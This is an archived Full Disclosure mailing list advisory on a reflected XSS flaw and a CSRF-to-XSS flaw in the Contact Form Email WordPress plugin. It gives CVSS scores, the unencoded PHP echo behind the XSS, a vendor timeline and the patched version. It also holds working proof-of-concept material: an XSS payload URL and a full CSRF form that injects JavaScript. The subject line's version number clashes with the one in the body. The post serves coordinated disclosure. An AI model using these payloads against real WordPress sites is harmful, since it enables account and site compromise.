Full Disclosure mailing list archives

Contact Form Email 7.10.41 - Reflected XSS & CSRF (WordPress Plugin)


From: Tim Coen <tc.coen () gmail com>
Date: Tue, 5 Feb 2019 16:25:25 +0100

  * Vulnerability: XSS & CSRF
  * Affected Software: [Contact Form
Email](https://wordpress.org/plugins/contact-form-to-email/)
  * Affected Version: 1.2.65
  * Patched Version: 1.2.66
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 10/31/2018
  * Vendor Fix: 10/31/2018
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

## Reflected XSS

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Contact Form Email WordPress plugin is vulnerable to reflected XSS
as it echoes the item parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item='";><img+src%3Dx+onerror%3Dalert(1)>

##### Code

    contact-form-to-email/cp_admin_int_edition.inc.php
    <input name="cfwpp_edit" type="hidden" value="<?php echo
$_GET["item"]; ?>" />


## CSRF (to XSS)

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The plugin allows the addition of custom JavaScript to forms. Because
the request to place this addition is not protected against CSRF, an
attacker can place arbitrary JavaScript into the application if an
authenticated user visits a webpage containing malicious HTML and/or
JavaScript.

##### Proof of Concept

    <html>
      <body>
        <form
action="http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item=js";
method="POST">
          <input type="hidden" name="CP&#95;CFTE&#95;post&#95;edition"
value="1" />
          <input type="hidden" name="cfwpp&#95;edit" value="js" />
          <input type="hidden" name="editionarea" value="alert(2);" />
          <input type="hidden" name="submit" value="Save&#32;Changes" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>


##### Timeline

- 10/31/2018 Asked for email address via contact form
- 10/31/2018 Vendor responds, advisory sent
- 10/31/2018 Vendor releases fix
- 02/05/2019 Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-contact-form-email-xss-csrf/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Current thread: